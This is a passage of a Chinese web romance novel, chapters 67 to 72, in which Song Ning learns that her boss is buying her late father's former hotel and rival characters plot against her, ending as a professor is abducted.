第六十七章 生病了?那可太好了! 丁予期到了晚上,情况好像更糟糕了一点。 整个人都没有什么精神,看起来病恹恹的。 宋凝给瑞贝卡打了个电话,说了一下情况,没想到瑞贝卡直接兴奋起来:“生病了?!那可太好了!” 宋凝:“?” 短暂的喜悦之后,瑞贝卡终于还是找回了自己身为丁予期秘书的职业素养,像是知心大姐姐一样交代和叮嘱了一些事。 “……丁总很少生病,但是每次生病症状都很严重,我不在,得麻烦你照顾他几天了。” 宋凝应了下来:“我尽力吧。” 晚上出发去饭局的时候,丁予期还是一副有气无力的样子。 宋凝主动说:“我来开车吧,你睡一会儿。” 反正她也是下属,给老板开个车而已,也算在工作范围之内。 而且让一个发烧的病人开车,也不安全。 丁予期问她:“首都的路你熟吗?” 宋凝摇头。 “首都的路不是随便开的,有些路能走有些路只有特定的车牌才能走……算了,我还是叫个代驾吧。” 宋凝其实很想说,车载导航上不是都有提示的吗? 她按照导航开不就行了。 但是一想到自己确实不太熟悉路况,还是放弃了。 很快,代驾就来了,丁予期把车钥匙给他,报了个地址,然后自己去了后排。 宋凝拉开了副驾驶的车门,准备坐进去。 好歹还能帮着看看路。 可代驾小哥说:“太太,我干这一行有几年了,路很熟的, 您跟先生一起坐后排休息就行。” 宋凝正想纠正他:“我不是他太……” “宋凝——” 丁予期叫了一声。 宋凝问道:“怎么了?” 丁予期仍旧闭着眼睛假寐:“你帮我系一下领带,我没力气。” 说完,就大喇喇的瘫着了。 宋凝无奈,只能钻进了后排座位,从他手上接过了领带。 车子缓缓发动,下台阶的时候颠簸了一下,丁予期微微蹙了蹙眉。 宋凝对代驾说:“我们出门早,不用赶时间,开稳一点。他刚吃了药,让他睡一会儿。” “好的。” 宋凝轻轻把领带从他的脖子下面穿过去,又从另一侧拉出来。 但是丁予期是微微侧身躺着的,几乎是半个身子都背对着她。 宋凝不得不起身,一条腿半跪在座椅上,探过身去帮他系领带。 丁予期仿佛真的睡着了,呼吸逐渐平稳。 宋凝怕吵醒他,动作很轻,小心翼翼的。 先把领带的结打好,然后再慢慢整理形状和长度。 代驾从后视镜里看了一眼,嘿嘿笑:“先生太太,你们两个感情真好。” “我们……” 算了。 她跟一个萍水相逢的代驾解释这个干什么。 反正一会儿到了目的地交易就算结束了。 而且丁予期睡着,她也不想开口说话吵醒他。 “小声一些。” 她把手按在唇上,做了个噤声的手势。 代驾小哥立马点头,表示自己知道了。 人类的本质是吃瓜,尤其是甜甜的大瓜。 趁着红灯的时候,代驾小哥又偷偷看了一眼后视镜。 只见宋凝把自己的外套小西装脱了下来,给丁予期盖在身上,似乎是怕他睡着了着凉。 只是她的衣服对丁予期来说,还是有点太迷你了,只能盖住胸前的一小片胸膛。 不过……聊胜于无吧。 明天如果还出门,她会记得提醒丁予期带一件厚一点的长款外套的。 说着,她又伸手把自己的西装往下拉了拉,尽量把他的腹部也盖住。 可此时正在偷偷磕CP的代驾小哥却吓了一跳—— 他本想吃个瓜,偷偷看后视镜来着,可是他却突然看见,原本应该睡着了的这位丈夫,已经微微睁开了眼睛,也正在透过后视镜注视着他! 代驾小哥吓了一激灵,赶紧移开视线,专心开车。 到地方了之后,天空有些微微下了点小雨。 宋凝怕丁予期再着凉,让他先在车里坐着,自己去找饭店前台去借伞。 车上,只剩下代驾小哥和丁予期两个人。 代驾把车停好,钥匙交还给了丁予期:“先生,钥匙给您。” 丁予期懒洋洋的接过,可眼睛却危险的眯起:“你偷看她?” 代驾连忙否认:“我没有,真的!” “一路上,你一直从后视镜看后排,我都看见了。” “……先生,您不是睡着了么?” 那怎么还能看到我偷偷吃瓜的…… 丁予期冷冷地说:“她好看吗?” 代驾一脸懵逼,似乎不明白他怎么突然开始问自己老婆的颜值了。 “好、好看啊。” 可是这个答案,明显不是丁予期想听到的。 他的眼神顿时变得尖锐起来。 代驾小哥赶紧解释:“先生您别误会,我确实偷看了,但我只是羡慕您,有个这么爱您照顾您的太太,而且还长得那么好看。我对太太并没有任何的其他想法,单纯是人类看到美好事物所以有些向往这样美好的爱情罢了……” 宋凝举着伞回来的时候,正好看到代驾小哥有些可怜兮兮地说着什么。 她把伞举高,打在丁予期的头上,问道:“怎么了?” 丁予期:“没什么,问他一些关于首都的路况而已,走吧,我们进去。” 他长腿迈开就要走,宋凝只能举着伞跟着小跑。 好在停车场到饭店门口的路并不远,没几步就到了。 “你真的只是问路况?” 丁予期看着她收伞,轻声说:“嗯,怎么?” “可是我怎么看到那个代驾小哥一脸委屈的样子,你是不是为难人家了?” 丁予期皱眉:“我在你心里就是这种人?” 宋凝解释:“我不是这个意思,我就是很好奇,人家开车开的蛮好的,你睡得也挺舒服的啊,应该没什么不满意吧?” “我……” “予期——” 有人叫了他一声。 丁予期看到了来人,叫了一声:“大哥。” 丁予墨约莫四十岁年纪,看起来有些威严。 他打量了一下宋凝,微微有些诧异:“这位女士……我们是不是在哪里见过?” 宋凝对丁予墨好像也有些熟悉。 她忽然想起来了,她跟傅东擎结婚的时候见过丁予墨一次。 他应该是代表丁家来参加过婚宴,因为身份贵重,还坐在距离舞台最近的主桌。 当时她挽着傅东擎的手臂去敬酒的时候,傅东擎还专门给她介绍过,说这位是丁家下一辈的家主,还让她叫了一声丁大哥。 宋凝点了点头:“您好丁总,我们的确见过一次的,是在之前的婚礼上。” 丁予墨思索了一下:“婚礼?” “是的,三年前我跟傅……” 丁予期突然说道:“大哥,你怎么提前到了。不是说堵车了,要晚一点么?” 﨔 第六十八章 一只大手包裹住了她 丁予墨的注意力被吸引了过去,沉声说道:“还不是你回来的太突然了?你要是早点说你要来首都,我也不至于这么匆忙。” 他看了看手表,说:“时间不早了,进去吧。” 突然回来的? 丁予墨带着助理和秘书等等一票人先进去了。 宋凝才觉得有些奇怪:“丁总,这次出差是突然决定的吗?” 丁予期:“不可以吗?” “可以,你是老板,你想怎么样都可以。” 虽然但是,她也觉得这一趟出来蛮好的。 傅东擎已经来了S市,身边还带着一个林澜。 林澜肚子里的孩子是个莫须有的孩子,估计傅家且有的闹呢。 她还是来首都躲清静的好。 丁予期带着宋凝,在服务员的指引下进了包厢。 包厢里除了丁予墨之外,还有一个中年男人,看起来约莫六十岁左右,虽然穿着也挺光鲜的,但看起来人很忠厚朴实。 丁予墨见他们进来,点了点下巴:“坐吧。” 中年男人立刻站了起来,举着酒杯谄媚地对准了丁予期:“这位就是小丁总吧?我听大丁总说了,您看中了我那个小破酒店,想收购?” 丁予期笑了一下:“李总不用妄自菲薄,丽晶酒店虽然年份长了些,但地理位置不错,如果好好翻修一下的话,前景我很看好。” 宋凝一开始还尽心尽力地当一个绿叶。 但是听到中年男人说到“丽晶酒店”的时候,脸色刷得一下变了。 爸爸原先的酒店也叫丽晶酒店。 只是她们一家人原本是生活在南城的,那是靠近南部沿海的一个城市,跟首都隔着几千公里。 是同名吗? 她不小心碰倒了水杯,茶水撒了一桌布,还滴滴拉拉地滴在了地上。 她飞快地站了起来,抽出纸巾去擦:“对不起,是我不小心,我马上处理。” 可是越是心慌,手下就越是忙乱。 这一次高脚杯也掉在了地上,哗啦一声,摔成了碎片。 她连忙蹲下去就要收拾。 丁予期拉住了她,声音沉稳:“坐好。” “我……” 他抬手叫了服务员进来:“收拾一下。” “好的先生。” 服务员很快就换了一套桌布,也收拾好了地上的碎玻璃片。 只是丁予期握着宋凝的手却一直没有松开。 丁予墨注意到了,微微挑眉:“予期,你让我找的人我给你找到了,就是为了她吧?” 丁予期笑了笑,不置可否:“你跟嫂子离婚的事情我也没有少给专业意见啊,我们兄弟互利互惠,谁也别说谁。” 丁予墨也笑:“也是。那你们聊,我还有事,先走了。” “大哥,我送你。” 丁予期正要站起来,丁予墨微微压了压手:“你坐下吧,身体起来送我,心还在饭桌上操着,我缺你送?走了。” 宋凝从听到“丽晶酒店”四个字的时候,就有些恍惚。 她已经多久没有听到过这个名字了? 当初爸爸被人做局陷害入狱,最后惨死狱中。 妈妈一个人带着她来到了H市,离开了南城。 她后来用地图搜索过,丽晶酒店被改名成了红颜舞厅,网上也有零散的传闻,说那里已经成了远近闻名的红灯区。 爸爸经营了一辈子的心血,就这样被那些人糟蹋干净了。 她整个人微微颤抖着,直到感觉到一个干燥有力的大手轻轻捏了捏她的手腕:“问你话呢。” 宋凝如梦初醒:“什么?” 丁予期笑着对李总说:“不好意思,她昨天开始就有些感冒,吃了药就犯困,别介意。” 李总连忙摆手,笑哈哈的:“不会不会,感冒药里面有安定成分,吃了确实是容易犯困的。要不让太太休息,我跟小丁总聊?” 丁予期点了点头:“可以。” 李总悠悠叹了口气:“其实丽晶酒店我已经对外挂牌很久了,但是因为之前的名声确实是不太好,客人不爱住,生意不好,也就没有人愿意接盘。小丁总您是有眼光的,那一块区域确实很不错,离海边很近,如果好好开发,肯定可以的。” 南城! 宋凝的拳头微微攥紧。 一只大手包裹住了她,轻轻摩挲着,像是在安抚。 李总继续说:“如果小丁总诚心要的话,价格上我愿意再让三个点,只求迅速脱手。” “李总是急用钱吗?” “对,我老婆生了病,一直在首都的医院治疗,我首都和南城两头跑,还要照顾儿子上学,实在是分 身乏术。” 丁予期点了点头:“价格不是问题,我今天就可以定下来。” 李总喜出望外:“哎哟?真的啊!那可真是太好了,小丁总我敬您一杯。” 说完,他直接给自己满上了,然后一仰脖全干了。 “小丁总果然爽快!” 丁予期说:“但是我也有一个条件。” 李总微微愣住:“什么条件?” “你是从谁的手里接过来的丽晶酒店,我要他的联系方式,还有尽可能多的资料。” 听完这个,李总开始面露难色:“上一任老板啊……” “怎么, 不方便吗?” 李总说:“也不是不方便,但是上一任老板已经被抓了,你恐怕联系不上他了。” 宋凝猛地抬起头来:“上一任老板是不是叫于洪亮?!” 李总一愣:“对,就是这个名字!太太你认识他吗?” “认识,”宋凝咬着牙:“太认识了。” 小时候,她还叫过他于叔叔。 以为他是爸爸最好的兄弟,甚至爸爸还想跟于洪亮定娃娃亲。 可是谁都没想到,爸爸当做亲兄弟对待的人,为了酒店做了个大局,最终害死了爸爸。 李总呸了一声,“这个于洪亮可真不是个东西,我的丽晶酒店以前就是叫这个名字,后来于洪亮接过去之后,改成了红颜舞厅,性质也变了。他专门组织了一批失足妇女,在里面从事非法活动。里面还有一些,听说是未成年的小女孩!真是造孽!” “红颜舞厅在南城已经成了家喻户晓的红灯区腌臜地,人们一提起来就皱眉头。唉,这也是生意不好的主要原因,现在网络发达了,客人们在网上一搜,就知道丽晶酒店的前身是红颜舞厅,就都不来住了!” 宋凝直接站了起来:“丽晶酒店就是丽晶酒店,才不是什么红颜舞厅!” 第六十九章 好好跟在我身边 李总似乎猜到了什么:“丁太太难道认识最开始丽晶酒店的经营者?” “他是我的父亲。” 宋凝说出这句话的时候,心都在微微刺痛。 一时也没去分辨丁太太这回事。 李总顿时激动起来:“你是宋哥的女儿?” 宋凝迟疑道:“您是?” “宋小姐!我就是原来丽晶酒店的大堂经理呀!我叫李明富,你还有印象吗?” 李明富。 这个名字宋凝听起来就很耳熟。 虽然不能完全确认,但她肯定是听过这个名字的。 李明富也瞬间红了眼眶:“宋小姐,当初宋哥被于洪亮坑了之后被抓了进去,不久之后去世。嫂子留在南城,受尽了于洪亮他们一伙人的欺凌,只能带你离开了南城,那时候我也失去了你们的消息。原来……原来你嫁给小丁总了?好好好,一定是宋哥在天之灵保佑你,嫁进了好人家……” 李明富说着,眼泪就有些止不住了。 他斟满两杯酒,把其中一杯递给宋凝:“宋小姐,如果知道你过得好,我也就放心了。这杯酒,我们一起敬天上的宋哥!” 说着,他有一口闷了。 宋凝心绪纷杂,握着酒杯就往唇边送。 丁予期拦住了她,他对李总说:“宋凝今天不舒服,我替她喝。” 李明富自然没什么异议,反而是一副老父亲似的欣慰:“好,以后有丁总护着宋小姐,我也就放心了。” 宋凝愣了好一会儿才反应过来,连忙惊慌着去阻止他:“你也感冒了,别喝!” 丁予期笑着把她搭在自己手腕上的手取下来,然后也喝完了所有的酒。 “丁予期……” “没事。”他笑着说:“这杯酒是敬你爸的,我必须得喝。” 宋凝一时还没搞清楚这两者之间有什么关系,只听李明富说:“小丁总应该是为了宋小姐才来买丽晶酒店的吧?既然都是自己人,那我也该表示表示。” 他沉声说道:“当初于洪亮被抓,红颜舞厅被查封,不久之后被法拍。我是以法拍价格买下了丽晶酒店,就以原价卖给您吧,也算是全了我跟宋哥几十年的交情。” 宋凝问:“法拍价格是多少钱?” “七百万,”李明富说:“我原本给小丁总的报价是一千万,但现在什么都不说了,七百万,宋小姐你们只需要把本金给我就行,我立马去给你们过户。” 七百万。 爸爸留给她的钱,只有几十万。 又花了十几万让唐婷帮忙买衬衫赔给丁予期。 她手上只剩下了四十万不到。 差距还是有些太远了。 “丁总,我能不能……”她舔了舔唇,有些难为情:“我能不能先借你七百万,等我跟傅东擎离了婚,财产分割之后,我立刻就还给你。” 丁予期比了一根手指:“一千万。” 宋凝咬了咬牙:“可以,我借您七百,还一千。” 丁予期轻笑:“你把我当放高利贷的了?” 宋凝不解。 丁予期直接对李总说:“还是按原价,一千万卖给我。另外,如果你手里如果搜集了于洪亮那个团伙坑害宋叔叔的证据,也可以一并交给我,我可以另外再给你一百万的报酬。” “有,我有的!”李明富激动起来:“这些年我一直想为宋哥翻案,也找了很多律师,但是律师们都说证据不充分,翻案的希望很渺茫,都不愿意接。小丁总,如果您能为宋哥找到可靠的律师,还他清白的话,我不但不要报酬,我可以六百万卖给您!” 丁予期说:“我自己就是律师,你把材料都交给我,后续的事情我来处理。” “好的,好的!”李明富亢 奋起来,又给丁予期倒了杯酒:“小丁总,真的感谢您,我再敬您一杯!” “好。” “李叔,”宋凝说:“他以矿泉水代酒行吗?” 李明富笑着点头:“好,当然可以。看到你们两个这么恩爱,互相照顾,宋哥可以瞑目了……” 说着,他直接拿起酒瓶自顾自喝了个畅快。 酒局最后,李明富已经喝的不省人事了。 趴在桌子上昏迷不醒。 丁予期微微皱眉:“刚刚忘了问他住哪儿了。” 想给他打个车,都不知道把人送到什么地址。 宋凝想了想,说:“先把他带回酒店吧,给他另外开个房间,算我的。” 丁予期看了她一眼,“行吧,只能先这样了。” 但是问题又来了,李明富太胖,死沉死沉的,一个人肯定是扶不动。 丁予期叫来了四个男服务生,才算把李明富给弄到了车上。 他给几个帮忙的服务生都转了一笔小费,这才开车回酒店。 一路上,宋凝都很沉默。 丁予期知道她心里有事,也没有再说话,只是安静的开着车。 “丁总。” “嗯。”丁予期说:“我知道你想说什么。” 她想要丽晶酒店。 但她现阶段拿不出钱,跟傅东擎的离婚还不知道能不能顺利进行,就算顺利离婚了,财产分割也是个大问题。 如果傅东擎不愿意给,她还得走法院诉讼程序,一来一回折腾下来,没个一两年怕是拿不到钱。 丁予期说:“你现在才刚开始接触酒店行业,虽然小时候也帮过爸妈的忙,但那毕竟是小时候了,现在已经过去了十多年,很多管理模式,还有盈利模块都在变化。你现在贸然接手,其实并不是最好的时机。” 宋凝知道他说的有道理。 于是没有再说话。 “这个酒店我买来之后,会先并入卫斯理集团旗下。以卫斯理的高端品牌效应,先给丽晶酒店洗掉被红颜舞厅这十多年来弄坏的名声。等你日后历练的差不多了,我就把丽晶酒店交给你。” 宋凝问:“交给我,是什么意思?交给我管理,还是……卖给我?” 丁予期笑了笑:“产权问题到时候再说,但实际管理权我可以都交给你。” “你是怕我拿不出钱来买吗?” “不是。”丁予期的语气有些轻佻:“你不是还筹备着要找个男同假结婚么?不管是真的假的,领了证,那在法律意义上就是真的。你也不想因为一场假结婚,就把丽晶酒店的产权给出去一半吧?” 宋凝依旧沉默。 丁予期循循善诱:“先好好跟在我身边吧,当务之急,先顺利把婚离了。” 宋凝点了点头:“我真的不会改变想法的,你真的不用一次两次的提醒我,我不会纠缠你的好兄弟的,等离了婚他就自由了。” 丁予期轻笑:“嗯,行。” 宋凝突然想到一件事:“我来S市也有一段时间了,你那个传说中的白月光是一点痕迹都没有啊。丁总,该不会这个所谓的白月光……根本就是幌子的吧?” 第七十章 今晚去我那睡 “那你觉得,我故意弄一个所谓的幌子,目的是什么?” 宋凝摇了摇头:“暂时还不知道,或许你真的喜欢男人?” 话音刚落,后座就传来一阵雄浑的嘶吼:“宋哥,兄弟敬你!今天不醉不归!” 李明富这一嗓子,吼得宋凝耳朵都嗡嗡响。 丁予期吐槽了一句:“你李叔之前真的是干大堂经理的吗?” 宋凝:“应该是的。” “……不去唱摇滚可惜了。” 回到酒店,宋凝去前台开房间,丁予期找了几个服务生把李明富搬下来。 可是前台很抱歉地告诉她:“酒店已经满房了,不好意思。” 满房了? 宋凝一时有些纠结。 眼看着几个服务生已经把李明富搬下来了,如果另外找酒店的话,还得重新搬上去。 ……怪辛苦的。 “行吧,谢谢。” 她转身回到大堂,几个服务生正艰难地抬着李明富走了进来。 “女士,这位先生需要送到哪个房间?” 宋凝说:“2501。” “好的。” 丁予期缓缓走了过来,皱眉:“你让李明富睡你房间,那你睡哪?” “我睡沙发。” 丁予期脸色沉了下来:“你还病着呢,睡沙发万一再着凉了怎么办?而且孤男寡女的也不方便。” 宋凝:“现在也没有别的办法了啊,总不能让他去跟你挤吧?” “那肯定不行。” “那不就得了,就让他在我房间里将就一晚,他的年龄都快跟我爸一样了,又醉得死死的,没事的。” 几个服务生已经把李明富抬上了电梯,宋凝快步跟上去。 “丁总,快点呀!” 丁予期不情不愿地跟在她身后上了电梯。 他把她从身后拉了到了身前电梯的角落里,自己像是一个屏障一样把她护在最里面。 几个服务生,还有四仰八叉的李明富,全都被隔绝在外。 电梯内空间局促,宋凝缩在里面,很像是被他半包围在了怀里。 丁予期:“我怕他打醉拳伤着你。” 宋凝:“?他这个身材,应该也不会醉拳。” “那也说不准,李白也是喝了酒以后才能写诗,谁知道他喝了酒会不会解锁什么技能。” 电梯空间小,再换来换去也不方便,宋凝索性就这么待着了。 只是两个人因此靠的极近,他的领口正好蹭到了她的唇上。 又是一丝淡淡的红色。 宋凝赶紧别开脸去。 丁予期:“怎么了?” 宋凝:“没。” “害羞啊?” 不是,我是怕又要赔钱。 一件衬衫十几万。 再赔她就真要给丁予期打一辈子工了。 “叮”的一声,电梯到了。 几个服务生齐心合力把李明富抬了出去。 只是出电梯的时候难免还是碰到了丁予期,他被撞了一下,微微往前扑了一下。 宋凝想要避开他的白色衬衫布料,下意识地抬起了头。 软软的唇,轻轻擦过了他的脖颈上的皮肤。 这一次留下的红色,比白色衬衫上的更加明显。 丁予期的喉结上下滚了滚,用手轻轻触了触,目光就不由自主地看向了她的唇。 宋凝似乎也发现了,一直低着头不敢看他,眼神乱飘。 “那个,丁总,我们也出去吧?” 说着,她直接从他的腋下钻了出去,微微急切地跟服务生说:“我先过去给你们开门。” 然后一路小跑离开了。 丁予期又摸了摸自己的脖颈,方才的触感似乎还在脑内循环上演。 激的他有些难耐。 “先生,您口渴吗?”服务生问道:“需不需要我给您的房间送点水?我们酒店供应的是依云水,法国进口的。” 丁予期拒绝了:“不用,谢谢。” “可是我刚刚看到您好像很口干舌燥的样子。” “热,”丁予期扯了扯领口,让凉风钻进去:“没事,我回去开空调就好。” “好的先生,有什么需要您可以随时联系前台。” “对了,”丁予期叫住她,然后指了指自己脖颈上的红痕:“看到了吗?” 服务生也是女生,顿时脸色一红:“看、看到了。您是需要计生用品吗?我这就给您一盒送过去……” 计生用品? 丁予期忍俊不禁,原本他只是想着,都是女人,能不能识别出来宋凝用的是哪个色号。 这个色号很适合她。 鲜艳欲滴,温柔清丽。 但是既然误会了,那不如…… “送两盒吧。” 女服务生的脸顿时红成了猪肝色:“一盒里面还几只呢,两盒……” “有问题吗?” “没、没问题,先生和太太感情真好,我这就去!” 丁予期晃晃悠悠的回到2501房间的时候,宋凝已经指挥着几个服务生把李明富抬上了床。 他睡得四仰八叉的,嘴里不知道还在乌拉乌拉说着什么梦话。 宋凝还蹲在地上,帮他把鞋和袜子都脱了。 丁予期看的直皱眉,一把把她从地上薅了起来:“给他睡你房间已经够意思了,你还管这个?” 宋凝:“穿鞋睡不舒服,李叔也算是我的长辈,我想让他睡得舒服一点。” “你也这样照顾过傅东擎吗?” 宋凝无语了:“你又吃醋啦?那时候我们还是夫妻,他醉了我总不能不管他啊。” 丁予期顿时无名火起:“你还真给他弄过?” “没有,放心吧,你好兄弟酒量不错,基本没有喝断片过。就算再醉,也能自己去把澡洗了。” 丁予期这才哼了一声,放过了她。 宋凝无奈地叹息,一边扯开杯子给李明富盖上:“也不知道你这个白月光到底有没有这个人,你整个脑子里都是傅东擎,也不知道哪里能分给她一点位置……” 丁予期:“念叨什么呢,收拾好他就跟我走。” “去哪?” “你还真想跟他住一个房间啊?今晚去我那睡。” 第七十一章 我女朋友不想被打扰,尤其是你 宋凝:“我睡你房间?” “嗯。” “那你睡哪?” 丁予期:“我睡绳子上,看过神雕侠侣么,小龙女就睡绳子。” 宋凝觉得这个人现在说话越来越不靠谱了。 “没看出来,丁总你还会武功呢。” 丁予期勾唇轻笑,然后催促她:“赶紧的,这个李明富一身酒气,闻的头晕。” 宋凝忽然想起,他还是个病人呢。 也不知道烧退下去了没有。 于情于理,她还是得跟过去看看。 丁予期的房间里,陈设很简单,比起宋凝那边收拾的整整整整齐齐,他似乎更崇尚极简主义。 所有的用品几乎都是一次性的。 一次性拖鞋,一次性浴衣,还有剃须刀也是一次性的。 丁予期一进门,电话就响了起来。 竟然是顾秀秀? 他看了宋凝一眼,然后去了阳台才接起。 “秀秀,怎么了?” 可是电话那头,传来的却是傅东擎的声音:“予期,你把我拉黑了吗?” 丁予期冷笑了一下,并没有否认:“怎么?” “你的电话我怎么都打不通,我一开始还以为是你在忙,所以设置了免打扰,可是两天一夜了,仍旧打不通,但是我用秀秀的手机就能打通,怎么回事?” 丁予期把手机拿开,点开了黑名单。 傅东擎的名字赫然躺在里面。 丁予期轻声说:“我女朋友不想被打扰,尤其是你。” 傅东擎苦笑了一下:“我猜也是这样。弟妹终究还是对我有意见了,直接把你的手机里我的联系方式也拉黑了。” “她也不想见你。” “……看来弟妹是真的恨上我了。” 丁予期说:“不见就不见吧,你跟她也没什么见面的必要了。” 傅东擎本来还想说,大家兄弟一场,以后肯定是要见面的,还是缓和一下关系比较好。 “弟妹那边回头我再想办法,只要你没生我的气就好,毕竟阿凝还需要你多照顾……” 丁予期烦躁地说:“你别提她了行吗?” 他在心里默默冷笑:你不配。 可傅东擎却软着态度说:“予期,你还是怎么讨厌她吗?我真的不明白了,阿凝那么好,为什么你们一个两个都这么讨厌她?” “还有谁?林澜?” “我父母,”傅东擎疲惫不已:“他们对阿凝一直有很深的成见,你也是。” 丁予期冷笑:“我跟你爸妈也不一样。” 他们是讨厌她。 而我不是。 “予期,我最近这阵子一直在想以前的事情,阿凝跟我说过,那一晚她跟吴教授什么都没发生过。那天你离开的时候那句话点醒我了,你说你只是相信她。连你这么讨厌的她的人,都会义无反顾的信任她,而我作为她的丈夫,她的枕边人,我竟然怀疑她怀疑了这么多年……” 丁予期微微正色起来:“她跟你解释过?她怎么说的?” “她还是说不清为什么会跟吴教授一起在酒店过夜,但是她跟我保证过,她跟吴教授就是纯洁的师生关系。予期,你觉得我该相信她吗?” 丁予期把手机换了个手,也换了个更加慵懒的站姿:“你真的要听我的建议吗?” “当然,我们是最好的兄弟,我现在拿不定主意,而且你才是当面看到她和吴教授一起在酒店的目击人,我想听听你的看法。” 丁予期直接说道:“我的建议是,早离婚早超生,大家都好过。” 傅东擎沉默了。 丁予期下意识地想抽烟,手已经摸到了烟盒。 但想了想,又放弃了。 宋凝感冒还没好利索,嗓子不舒服,还是不抽了。 而且备孕的话,是不是要提前半年戒烟来着? 半年时间,应该差不多吧。 傅东擎说:“予期,你现在跟阿凝在一起吗?能不能帮我拍一张她的照片,背影也行,我真的很想她。” “不能。” “为什么?” “我不想。” 我不想再让任何男人看她一眼。 尤其是你。 我希望下次再见面的时候,你就要叫一声弟妹。 或者……丁太太? 都可以。 反正肯定要比当时看到吴教授的时候要更加生气。 但,那又如何? 你自己给了我机会,那就怪不得我。 挂了电话,丁予期把顾秀秀的号码也拖进了黑名单。 …… S市。 傅东擎把手机还给顾秀秀:“谢谢你,秀秀。” 顾秀秀眼神乱转,似乎是闻到了八卦的气息:“东擎,你太太到底怀没怀孕啊?” 那天在顾家的满月宴上,那出戏简直闹得太难堪了。 傅东擎怎么说也算是个有头有脸的人物,竟然被一个女人算计了,甚至连对方怀没怀孕都没搞清楚。 而且,怀孕的好像还不是他法律上的妻子。 只是外面的情人。 一代总裁,阴沟里翻船,还被原配当场打脸。 这一出戏真够难看的。 傅东擎一提起这件事就头疼,那天丁予期带宋凝离开之后,他也提前退场了,带着林澜去了一趟医院。 看着检测报告单上写着:【无妊娠迹象】几个字,他感觉自己像是被一双无形的大手狠狠抽了一巴掌。 宋凝说的没错,林澜根本没有怀孕。 竟然真的没有怀孕! 他愤怒过后,更多的是疑惑。 林澜在H市里的医院里住了那么久,医院里的医生和护士都说她怀孕了,难道林澜能买通整个医院的人来帮她撒谎吗? 林澜的家庭条件他清楚,以她的能力,做不到。 于是他几乎立刻就猜到了始作俑者。 傅学森在电话里很快就承认了,而且还反问道:“我这么做也是为了你好,免得你继续跟那个宋凝纠缠下去!” 傅东擎气的狂笑:“爸,你就这么喜欢林澜?论学识论长相论身材,阿凝哪里比不上林澜了?之前林澜还怀着孕,你想要孙子所以护着她,我能理解。可是您明明知道林澜没有怀孕,为什么还是选择林澜?” 傅学森也笑:“这就要问问你了,既然你觉得那个宋凝那么好,为什么还要出轨林澜?” 傅东擎顿时一窒。 “儿子,我也不是觉得林澜有多好,但是宋凝她小小年纪就跟教授不清不楚的,以后怀了孩子还不知道是谁的呢,我们老傅家的血统可不能混淆!” “爸,我们家没有皇位要继承。” “没有皇位,但是有财产,有公司,有股份!”傅学森厉声警告道:“我算是看明白了,你就是被那个宋凝吃的死死的!算了,我也懒得为这件事再跟你吵架,伤了我们父子情分。” 傅东擎说:“你要是赞成我跟阿凝在一起,对她的态度好一些,我们的父子情分一样如初。” “我可以赞成,但我也有个条件——” “什么条件?” “你跟林澜真的生个孩子,我有了孙子,你爱去哪去哪,爱找谁找谁,我跟你妈都不管你了 。” 傅东擎一口回绝了:“不可能。” 﨔 第七十二章 他要一个答案 “那你以后就别回来了。” 傅东擎冷笑:“正有此意。” 酒店里,夜色茫茫。 只有手机屏幕发出的光映在他的脸上。 他的屏保还是他跟宋凝的结婚照。 那一天,宋凝穿着洁白的婚纱,微微抬起头,侧脸抬起。 而他掀开了她的头纱,俯身吻了下去。 头发飘散在空中,把气氛也衬托的如梦如幻。 这一幕给当时在场的宾客都留下了很深的印象,过了好几年了,偶尔遇到当时参加婚礼的熟人,大家还都是津津乐道。 “那个画面真的太美了,真打动人。” 傅东擎也觉得。 他最爱的也是这张照片。 宋凝的的脸娴静美好,微微闭着眼睛,像是等待着心爱之人的回归。 一想到以前的幸福时光,傅东擎就觉得心酸。 他究竟该不该信她…… 或许,他可以去找一个人,问问答案。 他收起手机,起身走了出去。 自从当众被揭穿之后,林澜一直不敢说话,像是个透明人。 见傅东擎要走,她才赶紧追了上去:“东东,这么晚了你要去哪儿?” 傅东擎立刻蹙眉:“以后叫我傅先生。” “……我知道了。” 傅东擎抬腿又要走。 林澜慌乱地追了两步,“你要回H市吗?求你,不要把我一个人扔在这里,我害怕。” “害怕?”傅东擎嗤笑了一声:“你在帝景大厦上要跳楼的时候,我看你胆子不是挺大的?” 林澜眼泪汪汪的:“不是我,是傅叔叔和蒋阿姨,他们答应我,如果我能让你跟宋小姐彻底断了,就帮我弟弟还了赌债。我……我也不想的……” 傅东擎眉心紧拧:“没有人拿刀架在你脖子上逼你,还有,你弟弟已经成年了,他自己的欠的债让他自己还,还不了就去坐牢,我们傅家是有钱,但也不想给一个赌鬼填窟窿。” “东……傅先生,我从来没有来过S市,你带我回H市好不好?求求你……” 说着,她试探性地走近了一步,想要拉他的袖子。 可是指尖才刚碰到布料,傅东擎就厉声呵斥道;“别碰我!” 林澜被他突然的爆发吓得脸色惨白:“对、对不起。” 傅东擎紧抿着唇打了个电话给小何:“酒店里的人,你处理一下。” 他对林澜说:“一会儿小何会过来接你,送你回H市,记住,以后我们两个之间毫无关系。如果你再敢耍心机陷害阿凝,我的脾气你知道。” 说完,他立刻转身离开了。 酒店大门被震得嗡嗡响。 林澜抹掉眼泪,神情瞬间从凄苦变成了讽刺。 一次失误而已,那个女人也是误打误撞,并不是真的知道她没怀孕。 说起来,只是她运气不好罢了。 假怀孕的主意是蒋秀兰出的,但是她当时听着就不靠谱。 既然是假的,就迟早会穿帮。 但是她为了获取傅学森和蒋秀兰的好感,只能先按照他们说的做。 这两个老的,都不靠谱。 真的想达成目标,还得靠自己。 她心里清楚,嫁入豪门哪里是那么容易的事? 宋凝在傅东擎心里的地位,不是一朝一夕就能动摇的,他连她是否不洁都已经不在乎了,看来想要上位成功,还是得另辟蹊径。 林澜想了想,心里又生一计。 …… 吴教授招待完交流团,请他们吃了晚饭,又把他们都送回了卫斯理酒店,这才缓缓走出了酒店大门。 学校科研需要经费,这个交流团经费充足,如果可以合作研究,那就可以给学校省下很大一笔费用了。 所幸,这几天下来,他跟交流团的人都相处的不错,对方也有合作的意向。 这就再好不过了。 这个点已经太晚了,公交车和地铁都停运了,吴教授站在酒店大门外,准备拦一个出租车。 刚抬起手,就听到身后有人有一道冷意森然的声音:“吴教授,有空吗?聊聊。” 吴教授还没反应过来,就被黑布蒙住了头,塞进了一辆车里。 车子迅速发动,离开了酒店。 吴教授有些惊慌:“你们是谁?光天化日的,你们还想绑架不成?我只是一个快要退休的老教师,没有钱,你们要绑架也找错人了吧!” 一个阴冷的声音传来:“我们老板有点事想请教吴教授,还请吴教授跟我们走一趟。” “你老板?是谁?” “你去了就知道了。” 半小时后,车子在山顶上停稳。 吴教授被带下了车,同时也摘掉了头上的黑布。 